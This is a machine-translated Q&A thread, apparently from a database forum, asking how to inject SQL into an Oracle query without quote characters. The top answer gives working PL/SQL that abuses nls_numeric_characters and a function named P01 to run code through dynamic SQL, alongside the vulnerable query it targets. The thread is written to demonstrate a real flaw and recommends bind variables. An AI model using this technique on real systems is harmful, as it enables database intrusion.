Có cách nào để thoát ra khỏi chuỗi và tiêm SQL mà không sử dụng một trích dẫn nào trong lời tiên tri không?


12

Tôi đang thử nghiệm một ứng dụng dựa trên lời tiên tri và tôi đã tìm thấy đoạn mã sau:

Truy vấn = "CHỌN tên TỪ nhân viên WHERE id = '" + PKID + "';"

tức là chuỗi truy vấn chứa các trích dẫn xung quanh giá trị PKID được lấy trực tiếp từ URL.

Rõ ràng, đây là một lỗi SQL cổ điển đang chờ xảy ra ... ngoại trừ ứng dụng đứng sau CA SiteMinder, chặn bất kỳ URL nào bằng một trích dẫn (dưới bất kỳ hình thức nào) được chuyển đến ứng dụng.

Có cách nào để thoát ra khỏi chuỗi và tiêm SQL mà không cần sử dụng một trích dẫn không?

Chỉnh sửa: Xin lỗi, tôi nên rõ ràng hơn - Tôi hiểu nó nên được viết như thế nào , nhưng tôi cần thuyết phục mọi người rằng đó là một vấn đề có thể khai thác. Hiện tại bởi vì nó nằm phía sau siteminder, nó chặn các trích dẫn đơn nên nó sẽ là một sửa chữa ưu tiên thấp.


1
Bạn đã thử sử dụng một biến ràng buộc?
JHFB

Những gì @JHFB nói. Các biến ràng buộc là tiêu chuẩn thực hành.
Phil

Câu trả lời:


9

Có, có thể thực hiện một cuộc tấn công SQL SQL mà không cần cung cấp dấu ngoặc kép trong tham số.

Cách để làm điều này là với một khai thác để làm với cách xử lý số và / hoặc ngày. Bạn có thể chỉ định ở cấp phiên định dạng của ngày hoặc số là gì. Bằng cách thao tác này, bạn có thể tiêm bất kỳ ký tự nào.

Theo mặc định ở Anh và Hoa Kỳ, dấu phẩy được sử dụng để chỉ dấu phân cách hàng nghìn bằng số và dừng hoàn toàn cho dấu thập phân. Bạn có thể thay đổi các giá trị mặc định này bằng cách thực thi:

alter session set nls_numeric_characters = 'PZ';

Điều này có nghĩa là "P" hiện là dấu thập phân và "Z" là dấu phân cách hàng nghìn. Vì thế:

0P01

Là số 0,01. Tuy nhiên, nếu bạn tạo một hàm P01, tham chiếu đối tượng sẽ được chọn trước khi chuyển đổi số. Điều này cho phép bạn thực thi các chức năng trên cơ sở dữ liệu cho phép bạn tăng sức mạnh, như sau:

Tạo một hàm "get by id" cơ bản:

create procedure get_obj ( i in number ) as
begin
  execute immediate 'select object_name from all_objects where object_id = ' || i;
end;
/

Đồng thời tạo một hàm P01 để thực hiện điều gì đó không mong muốn (trong trường hợp này chỉ là tạo bảng, nhưng bạn có ý tưởng):

create function p01 return number as
  pragma autonomous_transaction;
begin
  execute immediate 'create table t (x integer)';
  return 1;
end;
/

Và chúng tôi tốt để đi:

alter session set nls_numeric_characters = 'PZ';

SELECT * FROM t;

SQL Error: ORA-00942: table or view does not exist

exec get_obj(p01);

anonymous block completed

SELECT * FROM t;

no rows selected

Không có dấu ngoặc kép ở bất cứ đâu, nhưng chúng tôi vẫn quản lý để thực hiện chức năng "ẩn" P01 và tạo bảng t !

Mặc dù điều này có thể khó thực hiện trong thực tế (và có thể cần một số kiến ​​thức / trợ giúp nội bộ), nhưng điều này cho thấy rằng bạn có thể tiêm SQL mà không cần phải có dấu ngoặc kép. Thay đổinls_date_format có thể cho phép những điều tương tự được thực hiện.

Những phát hiện ban đầu cho các con số là của David Litchfield và bạn có thể đọc bài viết của ông ở đây . Bạn có thể tìm thấy cuộc thảo luận của Tom Kyte về cách khai thác ngày ở đây .


4

Bạn có thể có thể quá tải loại dữ liệu mà bạn đang sử dụng, khiến câu lệnh đó không thành công. Sau đó, những gì đến sau có khả năng có thể được chạy.

Có lẽ việc gửi nó dưới dạng một mảng byte Unicode sẽ thực hiện thủ thuật và đưa bạn ra khỏi câu lệnh đó đến một câu lệnh khác.

Nếu có một lỗ mở, nó sẽ bị lạm dụng. Và chặn tất cả các chuỗi bằng một trích dẫn không phải là một ý tưởng hay vì những người có tên cuối cùng "O'Brian" không thể là khách hàng của bạn (trong số những người khác).


Tôi đoán bạn có nghĩa là "lỗ" chứ không phải "toàn bộ".
ypercubeᵀᴹ

1

Hãy thử sử dụng một biến liên kết. Bạn có thể khai báo nó dưới dạng số và điều đó sẽ ngăn chặn việc tiêm SQL gây hại.

BỔ SUNG: các biến liên kết cũng làm tăng hiệu suất và khả năng mở rộng vì kế hoạch truy vấn được biên dịch và lưu trữ để sử dụng lại. Chỉ cần một cái gì đó khác để thêm vào đối số của bạn. :)


1
Anh ta không hỏi về cách ngăn ngừa tiêm mà là về cách lạm dụng nó.
Jeff

1
@jeff OP cũng yêu cầu lý do để không sử dụng loại mã này. Không sử dụng các biến liên kết sẽ phá hủy hiệu suất vì vậy đây là một lý do tốt để luôn sử dụng chúng.
Vincent Malgrat

@Vincent Malgrat: "Không sử dụng biến liên kết phá hủy hiệu suất" là sai. Đúng là việc biên dịch lại câu lệnh có thể tránh được bằng cách sử dụng biến liên kết. Ngoài ra, nhóm chia sẻ sẽ bị ngập bởi rất nhiều câu lệnh tương tự nếu bạn không sử dụng các biến liên kết. Tuy nhiên, trình tối ưu hóa có ít thông tin hơn để xây dựng một kế hoạch nếu người ta sử dụng các biến ràng buộc thay vì các giá trị bằng chữ. Có những tình huống nên chọn các gói khác nhau tùy thuộc vào giá trị của các biến liên kết (hoặc giá trị bằng chữ).
phép lạ173

@ miracle173 Tất nhiên sẽ có ngoại lệ, nhưng không phải là tra cứu khóa chính như được đưa ra bởi OP, không bao giờ =)
Vincent Malgrat
Khi sử dụng trang web của chúng tôi, bạn xác nhận rằng bạn đã đọc và hiểu Chính sách cookieChính sách bảo mật của chúng tôi.
Licensed under cc by-sa 3.0 with attribution required.